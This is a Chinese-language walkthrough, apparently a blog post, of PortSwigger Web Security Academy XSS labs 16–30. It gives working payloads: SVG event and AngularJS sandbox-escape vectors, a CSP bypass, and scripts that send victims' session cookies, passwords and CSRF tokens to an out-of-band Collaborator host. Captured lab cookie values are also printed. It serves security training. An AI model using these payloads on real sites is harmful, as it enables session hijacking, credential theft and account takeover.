burp靶场–xss下篇【16-30】
https://portswigger.net/web-security/all-labs#cross-site-scripting
实验16:允许使用一些 SVG 标记的反射型 XSS
### 实验要求:
该实验室有一个简单的反射型 XSS漏洞。该网站阻止了常见标签,但错过了一些 SVG 标签和事件。
要解决该实验室问题,请执行调用该函数的跨站点脚本alert()攻击。
### 实验操作:
注入标准 XSS 负载,例如:
<img src=1 onerror=alert(1)>
观察该有效负载被阻止。在接下来的几个步骤中,我们将使用 Burp Intruder 来测试哪些标签和属性被阻止。
打开Burp的浏览器并使用实验室中的搜索功能。将生成的请求发送给 Burp Intruder。
在 Burp Intruder 的“位置”选项卡中,单击“清除§”。
在请求模板中,将搜索词的值替换为:<>
将光标放在尖括号之间,然后单击“添加§”两次以创建有效负载位置。搜索词的值现在应该是:<§§>
访问XSS 备忘单并单击“将标签复制到剪贴板”。
在 Burp Intruder 的“有效负载”选项卡中,单击“粘贴”将标签列表粘贴到有效负载列表中。单击“开始攻击”。
攻击完成后,查看结果。<svg>观察到所有有效负载都导致了 HTTP 400 响应,但使用、<animatetransform>、<title>和标签的有效负载除外<image>,它们收到了 200 响应。
返回 Burp Intruder 中的“位置”选项卡,并将搜索词替换为:
<svg><animatetransform%20=1>
将光标放在=字符之前,然后单击“添加§”两次以创建有效负载位置。搜索词的值现在应该是:
<svg><animatetransform%20§§=1>
访问XSS 备忘单并单击“将事件复制到剪贴板”。
在 Burp Intruder 的“有效负载”选项卡中,单击“清除”以删除以前的有效负载。然后单击“粘贴”将属性列表粘贴到有效负载列表中。单击“开始攻击”。
攻击完成后,查看结果。请注意,除了导致 200 响应的有效负载之外,所有有效负载onbegin都会导致 HTTP 400 响应。
在浏览器中访问以下网址,确认alert()函数被调用,实验已解决:
https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E
查看输入输出:
测试常用payload被阻止:
搜索框测试:
Fuzz支持的标签:https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
返回 Burp Intruder 中的“位置”选项卡,并将搜索词替换为:
将光标放在=字符之前,然后单击“添加§”两次以创建有效负载位置。搜索词的值现在应该是:
访问XSS 备忘单并单击“将事件复制到剪贴板”。
在浏览器中访问以下网址,确认alert()函数被调用,实验已解决:
https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E
我的是:
https://0aa50066031b5831809cd0a3006f00ee.h1-web-security-academy.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E
实验17:规范链接标签中反射的 XSS
### 实验要求:
本实验在规范链接标记中反映用户输入并转义尖括号。
要完成该实验,请在主页上执行跨站点脚本alert攻击,注入调用该函数的属性。
为了帮助您利用漏洞,您可以假设模拟用户将按下以下组合键:
ALT+SHIFT+X
CTRL+ALT+X
Alt+X
请注意,本实验的预期解决方案只能在 Chrome 中实现。
### 实验操作:
访问以下 URL,替换YOUR-LAB-ID为您的实验室 ID:
https://YOUR-LAB-ID.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)
这会将X密钥设置为整个页面的访问密钥。当用户按下访问键时,alert将调用该函数。
要对自己触发漏洞利用,请按以下组合键之一:
在 Windows 上:ALT+SHIFT+X
在 MacOS 上:CTRL+ALT+X
在 Linux 上:Alt+X
浏览器访问:https://0a51005504cd9d4e8197896b007a00de.web-security-academy.net/?%27accesskey=%27x%27οnclick=%27alert(1)
实验18:将 XSS 反射到 JavaScript 字符串中,并转义单引号和反斜杠
### 实验要求:
该实验室在搜索查询跟踪功能中包含反映的跨站点脚本漏洞。反射发生在单引号和反斜杠转义的 JavaScript 字符串内。
要完成此实验,请执行跨站点脚本攻击,突破 JavaScript 字符串并调用该alert函数。
### 实验要求:
在搜索框中提交随机字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
观察随机字符串已反映在 JavaScript 字符串中。
尝试发送有效负载test'payload并观察您的单引号被反斜杠转义,从而防止您打破字符串。
将您的输入替换为以下有效负载以突破脚本块并注入新脚本:
</script><script>alert(1)</script>
通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该触发警报。
实验19:将 XSS 反射到带有尖括号和双引号的 JavaScript 字符串中 HTML 编码和单引号转义
### 实验要求:
该实验室在搜索查询跟踪功能中包含一个反映的跨站点脚本漏洞,其中尖括号和双引号是 HTML 编码的,单引号被转义。
要完成此实验,请执行跨站点脚本攻击,突破 JavaScript 字符串并调用该alert函数。
### 实验操作:
在搜索框中提交随机字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
观察随机字符串已反映在 JavaScript 字符串中。
尝试发送有效负载test'payload并观察您的单引号被反斜杠转义,从而防止您打破字符串。
尝试发送有效负载test\payload并观察您的反斜杠没有被转义。
将您的输入替换为以下有效负载,以打破 JavaScript 字符串并注入警报:
\'-alert(1)//
通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该触发警报。
实验20:使用尖括号和双引号将 XSS 存储到onclick事件中 HTML 编码并转义单引号和反斜杠
### 实验要求:
该实验在评论功能中包含一个存储的跨站点脚本漏洞。
要完成此实验,请提交一条评论,该评论将alert在单击评论作者姓名时调用该函数。
### 实验操作:
在“网站”输入中发布带有随机字母数字字符串的评论,然后使用 Burp Suite 拦截请求并将其发送到 Burp Repeater。
在浏览器中发出第二个请求以查看帖子,并使用 Burp Suite 拦截该请求并将其发送到 Burp Repeater。
观察第二个 Repeater 选项卡中的随机字符串已反映在onclick事件处理程序属性内。
再次重复该过程,但这次修改您的输入以注入调用 的 JavaScript URL alert,使用以下有效负载:
http://foo?'-alert(1)-'
通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。单击评论上方的名称应该会触发警报。
发布评论,查看评论:
测试过滤:
插入恶意js:注意重放器中提交恶意js实验失败,&符号被html编码:
直接使用浏览器提交恶意js:
实验21:将 XSS 反射到带有尖括号、单引号、双引号、反斜杠和反引号的模板文字中 Unicode 转义
实验22:利用跨站点脚本窃取 cookie
### 实验要求:
本实验在博客评论功能中包含一个存储型 XSS 漏洞。模拟受害者用户在发布评论后查看所有评论。要解决该实验室问题,请利用该漏洞窃取受害者的会话 cookie,然后使用该 cookie 冒充受害者。
### 实验操作:
使用 Burp Suite Professional,转到“协作者”选项卡。
单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。
在博客评论中提交以下有效负载,并在指定位置插入您的 Burp Collaborator 子域:
<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
此脚本将使查看评论的任何人向公共 Collaborator 服务器上的子域发出包含其 cookie 的 POST 请求。
返回“协作者”选项卡,然后单击“立即投票”。您应该看到 HTTP 交互。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。
记下 POST 正文中受害者 cookie 的值。
重新加载博客主页面,使用 Burp Proxy 或 Burp Repeater 将您自己的会话 cookie 替换为您在 Burp Collaborator 中捕获的会话 cookie。发送请求以解决实验室问题。为了证明您已成功劫持管理员用户的会话,您可以在请求中使用相同的 cookie 来/my-account加载管理员用户的帐户页面。
替代解决方案
或者,您可以调整攻击,通过利用 XSS 执行 CSRF来使受害者在博客评论中发布其会话 cookie 。然而,这远没有那么微妙,因为它公开暴露了 cookie,并且还公开了执行攻击的证据。
secret=j6QrPgsSKullI388Ifkwe2W975FISQjd; session=5HEJcBcF8kpfb9Xtb0l6N8REecKh85yQ
实验23:利用跨站点脚本捕获密码
### 实验要求:
本实验在博客评论功能中包含一个存储型 XSS 漏洞。模拟受害者用户在发布评论后查看所有评论。要解决该实验室问题,请利用该漏洞窃取受害者的用户名和密码,然后使用这些凭据登录受害者的帐户。
### 实验说明:
使用 Burp Suite Professional,转到“协作者”选项卡。
单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。
在博客评论中提交以下有效负载,并在指定位置插入您的 Burp Collaborator 子域:
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
此脚本将使查看评论的任何人向您的公共 Collaborator 服务器的子域发出包含其用户名和密码的 POST 请求。
返回“协作者”选项卡,然后单击“立即投票”。您应该看到 HTTP 交互。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。
记下 POST 正文中受害者的用户名和密码的值。
使用凭据以受害者用户身份登录。
替代解决方案
或者,您可以调整攻击,通过利用 XSS 执行 CSRF来使受害者在博客评论中发布其凭据。然而,这远没有那么微妙,因为它公开暴露了用户名和密码,并且还公开了执行攻击的证据。
评论处提交恶意js:
实验24:利用XSS进行CSRF
### 实验要求:
本实验在博客评论功能中包含一个存储型 XSS 漏洞。要解决该实验室问题,请利用该漏洞执行 CSRF 攻击并更改查看博客文章评论的人员的电子邮件地址。
您可以使用以下凭据登录您自己的帐户:wiener:peter
### 实验操作:
使用提供的凭据登录。在您的用户帐户页面上,请注意更新电子邮件地址的功能。
如果您查看该页面的源代码,您将看到以下信息:
您需要向 发出 POST 请求/my-account/change-email,并使用名为 的参数email。
在名为 的隐藏输入中有一个反 CSRF 令牌token。
这意味着您的利用需要加载用户帐户页面,提取 CSRF 令牌,然后使用该令牌更改受害者的电子邮件地址。
在博客评论中提交以下有效负载:
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
这将使查看评论的任何人发出 POST 请求,将其电子邮件地址更改为test@test.com。
构造XSS
攻击需要加载用户帐户页面,提取CSRF令牌,然后使用该令牌更改受害者的电子邮件地址
查看博客评论,查看的受害者的邮箱被修改:
实验25:使用 AngularJS 沙箱转义(不带字符串)反射 XSS
### 实验要求:
本实验以一种不寻常的方式使用 AngularJS,其中该$eval函数不可用,并且您将无法在 AngularJS 中使用任何字符串。
要解决该实验室问题,请执行跨站点脚本攻击,该攻击可以逃脱沙箱并alert在不使用该$eval函数的情况下执行该函数。
### 实验操作:
访问以下 URL,替换YOUR-LAB-ID为您的实验室 ID:
https://YOUR-LAB-ID.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
该漏洞用于toString()创建一个不使用引号的字符串。然后它获取String原型并覆盖charAt每个字符串的函数。这有效地破坏了 AngularJS 沙箱。接下来,将一个数组传递给orderBy过滤器。toString()然后,我们再次使用创建字符串和构造函数属性来设置过滤器的参数String。最后,我们使用该fromCharCode方法通过将字符代码转换为字符串来生成我们的有效负载x=alert(1)。因为该charAt函数已被覆盖,所以 AngularJS 将允许在通常不允许的情况下使用此代码。
解决实验:执行一个跨站点脚本攻击,该攻击可以跳出沙箱并在不使用$eval函数的情况下执行alert函数
part1:
payload:
访问以下URL(将YOUR-LAB-ID替换为您的实验室ID)
https://YOUR-LAB-ID.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
我的是:
https://0ad900d4034b4aad8215badb00560084.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
原理:
1、该漏洞利用使用toString()创建不使用引号的字符串。然后获取String原型并为每个字符串重写charAt函数。这有效地打破了AngularJS沙箱。
2、将数组传递给orderBy筛选器。
3、再次使用toString()创建一个字符串和String构造函数属性来设置过滤器的参数。
4、使用fromCharCode方法将字符代码转换为字符串x=alert(1),从而生成有效负载。因为charAt函数已被覆盖,AngularJS将允许此代码,而通常不会允许此代码
实验26:使用 AngularJS 沙箱逃逸和 CSP 反射 XSS
### 实验要求:
本实验室使用 CSP 和 AngularJS。
要解决该实验室问题,请执行跨站点脚本攻击,绕过 CSP、逃离 AngularJS 沙箱并发出警报document.cookie。
### 实验操作:
转到漏洞利用服务器并粘贴以下代码,替换YOUR-LAB-ID为您的实验室 ID:
<script>
location='https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
单击“存储”和“向受害者提供漏洞利用”。
该漏洞利用ng-focusAngularJS 中的事件来创建绕过 CSP 的焦点事件。它还使用$event,它是引用事件对象的 AngularJS 变量。该path属性特定于 Chrome,包含触发事件的元素数组。数组中的最后一个元素包含该window对象。
通常,|在 JavaScript 中是按位或运算,但在 AngularJS 中它表示过滤操作,在本例中是过滤orderBy器。冒号表示正在发送到过滤器的参数。在参数中,alert我们没有直接调用函数,而是将其分配给变量z。orderBy仅当操作到达数组window中的对象时才会调用该函数$event.path。这意味着它可以在窗口范围内调用,而无需显式引用该window对象,从而有效地绕过 AngularJS 的window检查。
1、内容安全策略(CSP)绕过的工作方式与标准沙箱转义类似,但通常涉及一些HTML注入。当CSP模式在AngularJS中处于活动状态时,它以不同的方式解析模板表达式,并避免使用Function构造函数。这意味着上面描述的标准沙箱转义将不再起作用。
2、根据特定的策略,CSP将阻止JavaScript事件。但是,AngularJS定义了自己的事件,可以替代使用。在事件内部时,AngularJS定义一个特殊的 $event对象,该对象仅引用浏览器事件对象。可以使用此对象执行CSP绕过。在Chrome上,有一个特殊的属性 $event/event 对象调用path。此属性包含导致事件执行的对象数组。最后一个属性始终是window对象,我们可以使用它来执行沙箱转义。通过将此数组传递给orderBy过滤器,我们可以枚举数组并使用最后一个元素(window对象)来执行全局函数,例如alert()。
下面的代码演示了这一点:
这里使用了from()函数,它允许您将对象转换为数组,并对该数组的每个元素调用给定函数(在第二个参数中指定)。在本例中,调用alert()函数。不能直接调用函数,因为AngularJS沙盒会解析代码并检测到window对象正被用于调用函数。相反,使用 from()函数可以有效地隐藏沙箱中的window对象,从而允许注入恶意代码
3、使用AngularJS沙箱转义绕过CSP
当使用了长度限制,因此上面的向量将不起作用。需要考虑各种隐藏windowAngularJS沙盒中的对象。
执行此操作的一种方法是使用 array.map()功能如下:
[1].map(alert)
map()接受一个函数作为参数,并为数组中的每一项调用该函数。这将绕过沙箱,因为对alert()函数的引用没有显式引用窗口。尝试各种方法来执行alert(),而不触发AngularJS的窗口检测
实验27:事件处理程序和href属性被阻止的反射型 XSS
### 实验要求:
该实验室包含一个反射型 XSS 漏洞,带有一些白名单标签,但所有事件和锚点href属性都被阻止。
要解决该实验室问题,请执行跨站点脚本攻击,注入一个向量,单击该向量即可调用该alert函数。
请注意,您需要使用“Click”一词来标记您的矢量,以诱导模拟实验室用户单击您的矢量。例如:
<a href="">Click me</a>
### 实验操作:
访问以下 URL,替换YOUR-LAB-ID为您的实验室 ID:
https://YOUR-LAB-ID.web-security-academy.net/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E
实验28:JavaScript URL 中反映了 XSS,并阻止了某些字符
### 实验要求:
本实验反映了您在 JavaScript URL 中的输入,但一切并不像看上去的那样。乍一看,这似乎是一个微不足道的挑战;但事实上,这似乎是一个微不足道的挑战。但是,该应用程序正在阻止某些字符以试图防止 XSS 攻击。
要完成该实验,请执行跨站点脚本攻击,该攻击使用消息中某处包含的alert字符串调用该函数。 1337alert
### 实验操作:
```访问以下 URL,替换YOUR-LAB-ID为您的实验室 ID:
https://YOUR-LAB-ID.web-security-academy.net/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
实验室将被解决,但只有当您单击页面底部的“返回博客”时才会调用警报。
该漏洞利用异常处理来调用alert带有参数的函数。使用该throw语句时,用空白注释分隔,以避免无空格限制。该alert函数被分配给onerror异常处理程序。
由于throw是语句,因此不能用作表达式。相反,我们需要使用箭头函数创建一个块,以便throw可以使用该语句。然后我们需要调用这个函数,因此我们将它分配给 的toString属性window,并通过强制 的字符串转换来触发它window。
本实验反映了在JavaScript URL中的输入,但并非一切都像看上去的那样。这最初看起来像是一个微不足道的挑战,但应用程序阻止了一些字符,试图防止XSS攻击
解决实验:执行跨站点脚本攻击,该攻击使用alert消息中某处包含的字符串1337调用alert函数
part1:
payload:
5&‘},x=x=>{throw/**/οnerrοr=alert,1337},toString=x,window+’‘,{x:’
URL编码:
5&%27},x=x=%3E{throw/**/οnerrοr=alert,1337},toString=x,window%2b%27%27,{x:%27
利用漏洞攻击使用异常处理调用带有参数的alert函数。使用throw语句,用一个空白注释分隔,以绕过没有空格的限制。alert函数被分配给onerror异常处理程序。
由于throw是一个语句,因此不能用作表达式。相反需要使用箭头函数来创建一个块,以便可以使用throw语句。然后需要调用这个函数,所以将它赋给window的toString属性,并通过强制window进行字符串转换来触发它。
实验29:反射型 XSS 受非常严格的 CSP 保护,具有悬空标记攻击【略…】
### 实验要求:
本实验使用严格的 CSP,阻止对外部网站的传出请求。
要解决该实验室问题,首先执行跨站点脚本攻击,绕过 CSP 并使用 Burp Collaborator 窃取模拟受害者用户的 CSRF 令牌。然后,您需要将模拟用户的电子邮件地址更改为hacker@evil-user.net。
您必须用“Click”一词标记您的矢量,以诱导模拟用户单击它。例如:
<a href="">Click me</a>
您可以使用以下凭据登录您自己的帐户:wiener:peter
### 实验操作:
使用上面提供的帐户登录实验室。
检查更改电子邮件功能。观察参数中存在XSS漏洞email。
转到“协作者”选项卡。
单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。
回到实验室,转到漏洞利用服务器并添加以下代码,分别将YOUR-LAB-ID和替换YOUR-EXPLOIT-SERVER-ID为您的实验室 ID 和漏洞利用服务器 ID,并替换YOUR-COLLABORATOR-ID为您刚刚从 Burp Collaborator 复制的有效负载。
<script>
if(window.name) {
new Image().src='//BURP-COLLABORATOR-SUBDOMAIN?'+encodeURIComponent(window.name);
} else {
location = 'https://YOUR-LAB-ID.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
}
</script>
单击“存储”,然后单击“向受害者提供漏洞利用”。当用户访问包含此恶意脚本的网站时,如果他们在仍登录实验室网站的情况下单击“Click me”链接,他们的浏览器将向您的恶意网站发送包含 CSRF 令牌的请求。然后,您可以使用 Burp Collaborator 窃取此 CSRF 令牌。
返回“协作者”选项卡,然后单击“立即投票”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该看到由应用程序发起的 HTTP 交互。选择 HTTP 交互,转到请求选项卡,然后复制用户的 CSRF 令牌。
打开Burp的拦截功能后,返回实验室的更改电子邮件功能并提交将电子邮件更改为任意随机地址的请求。
在Burp中,转到拦截的请求并将email参数的值更改为hacker@evil-user.net。
右键单击该请求,然后从上下文菜单中选择“参与工具”,然后选择“生成 CSRF PoC”。弹出窗口显示请求及其生成的 CSRF HTML。在请求中,将 CSRF 令牌替换为您之前从受害者那里窃取的令牌。
单击“选项”并确保激活“包括自动提交脚本”。
单击“重新生成”更新 CSRF HTML,使其包含被盗的令牌,然后单击“复制 HTML”将其保存到剪贴板。
删除请求并关闭拦截功能。
返回漏洞利用服务器并将 CSRF HTML 粘贴到正文中。您可以覆盖我们之前输入的脚本。
单击“存储”和“向受害者提供漏洞利用”。用户的电子邮件将更改为hacker@evil-user.net。
第一步:正常用登陆:wiener:peter
(将YOUR-LAB-ID和YOUR-EXPLOIT-SERVER-ID分别替换为实验室ID和漏洞利用服务器ID,并将YOUR-COLABORATOR-ID替换为刚刚从Burp Collaborator复制的有效负载)
我的是:
提交代码到自己控制的服务器:
单击"存储",然后单击"向受害者发送利用漏洞攻击"。当用户访问包含此恶意脚本的网站时,如果他们在仍登录的情况下单击"Click me"链接,其浏览器将向您的恶意网站发送包含其CSRF令牌的请求。然后可以使用Burp Collaborator客户端窃取这个CSRF令牌。
实验30:反射型 XSS 受 CSP 保护,具有 CSP 绕过功能【略…】
参考:
### burp官方xss payload:
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
### 【Burp系列】超全XSS跨站漏洞实验总结[上]
https://mp.weixin.qq.com/s/mQuMaEZW90VWdE_kde85hw
### 【Burp系列】超全XSS跨站漏洞实验总结[下]
https://mp.weixin.qq.com/s/Ouh2JL9F659U0p6HuLHS_g
### burp官方:
https://portswigger.net/web-security/cross-site-scripting
### owasp xss:
### 跨站请求伪造:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery
### 反射型跨站请求伪造:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting
### 存储型跨站请求伪造:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting
### DOM型:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting
### 跨站脚本包含:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/13-Testing_for_Cross_Site_Script_Inclusion
### Cross Site Flashing:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/08-Testing_for_Cross_Site_Flashing
### payloadsallthings xss:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
### xss src挖掘:
https://mhtsec.com/index.php/archives/24/
https://zhuanlan.zhihu.com/p/22674164
https://websec.readthedocs.io/zh/latest/vuln/xss/index.html
https://_thorns.gitbooks.io/sec/content/yi_ci_zhen_dui_cun_chu_xing_xss_de_fuzzing.html
## xss bypass
https://wooyun.js.org/drops/Bypass%20xss%E8%BF%87%E6%BB%A4%E7%9A%84%E6%B5%8B%E8%AF%95%E6%96%B9%E6%B3%95.html
https://portswigger.net/support/bypassing-signature-based-xss-filters-modifying-script-code